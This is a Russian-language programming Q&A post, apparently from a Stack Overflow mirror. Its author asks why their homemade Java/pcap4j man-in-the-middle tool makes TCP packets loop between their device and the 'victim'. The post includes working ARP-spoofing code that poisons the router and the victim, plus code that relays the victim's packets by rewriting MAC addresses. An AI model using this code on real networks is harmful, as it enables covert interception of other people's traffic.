Самодельный MITM не может правильно перенаправить TCP - PullRequest
0 голосов
/ 29 апреля 2019

Добрый вечер, В настоящее время я создаю программу Man-In-The-Middle с библиотекой pcap4j, arp отравляет цель и перенаправляет ее пакеты на мое устройство. После получения пакетов я отправляю их обратно в их реальное место назначения. Проблема в том, что после того, как несколько TCP-пакетов перенаправлены правильно (я тестирую процесс с HTTP-сайтом), следующие будут как бы зацикливаться между мной и устройством жертвы, делая соединение неработоспособным.

Я, очевидно, пытался проанализировать эти пакеты с помощью Wireshark, но все кажется правильным. Это шаги отказа: 1. Я устанавливаю первое соединение с веб-сайтом HTTP, все TCP-пакеты успешно перенаправляются, устройство жертвы корректно отображает страницу. 2. Я устанавливаю второе соединение, в котором некоторые пакеты, кажется, достигают своей цели, тогда как следующие будут зацикливаться между моим устройством и устройством жертвы. То, что я называю циклом, это тот факт, что одни и те же TCP-пакеты чередуются между MAC-адресом моего устройства и адресом жертвы, и если я не остановлю свою программу, это будет выполняться бесконечно.

Вот метод отравления арп, который я использую в потоке, который останавливается каждую секунду:

ARPPacket arpRouter = new ARPPacket(Main.MAC,victimMAC,victimMAC,this.routerIP,victimIP,false);
ARPPacket arpVictim = new ARPPacket(Main.MAC,this.routerMAC,this.routerMAC,victimIP,this.routerIP,false);
byte[] arpRouterBytes = arpRouter.getPacketBytes().array();
byte[] arpVictimBytes = arpVictim.getPacketBytes().array();
try {
this.handle.sendPacket(arpRouterBytes,arpRouterBytes.length);
this.handle.sendPacket(arpVictimBytes,arpVictimBytes.length);
} catch (NotOpenException e) {
e.printStackTrace();
} catch (PcapNativeException e) {
e.printStackTrace();
}

А вот как я перенаправляю пакеты с устройства-жертвы в его реальное место назначения:

if(ltPacket.getType() == PacketType.TCPPacket) {
String srcIP = (String)ltPacket.getInfos().get("source_ip_address"), destIP = (String)ltPacket.getInfos().get("dest_ip_address");
String destMAC = (String)ltPacket.getInfos().get("dest_mac");
PacketEditor editor = new PacketEditor(ltPacket);
String[] victimIPs = PacketSniffer.this.arpSpoofer.getVictimIPs();
String[] victimMACs = PacketSniffer.this.arpSpoofer.getVictimMACs();
if(Arrays.asList(victimIPs).contains(srcIP) && destMAC.equals(Main.MAC)) {
editor.setInfo("src_mac_bytes", Tools.turnMacAddressIntoBytes(Main.MAC));
editor.setInfo("dest_mac_bytes", Tools.turnMacAddressIntoBytes(PacketSniffer.this.arpSpoofer.getRouterMACAddress()));
byte[] packetBytes = editor.getPacketBytes();
try {
PacketSniffer.this.handle.sendPacket(packetBytes,packetBytes.length);
} catch (NotOpenException | PcapNativeException e) {
e.printStackTrace();
}
}
if(Arrays.asList(victimIPs).contains(destIP) && destMAC.equals(Main.MAC)) {
editor.setInfo("src_mac_bytes", Tools.turnMacAddressIntoBytes(Main.MAC));
editor.setInfo("dest_mac_bytes", Tools.turnMacAddressIntoBytes(victimMACs[Arrays.asList(victimIPs).indexOf(destIP)]));
byte[] packetBytes = editor.getPacketBytes();
try {
PacketSniffer.this.handle.sendPacket(packetBytes,packetBytes.length);
} catch (NotOpenException | PcapNativeException e) {
e.printStackTrace();
}
}

Не обращайте внимания на экземпляр ltPacket или редактор, который правильно выполняет свою работу (ltPacket владеет информацией о пакете, и редактор может изменить их и перекомпилировать в новый пакет).

Надеюсь, вы сможете помочь мне выбраться из этого странного цикла, а не делать сайт, который я нюхаю. Заранее спасибо, любая помощь приветствуется.

...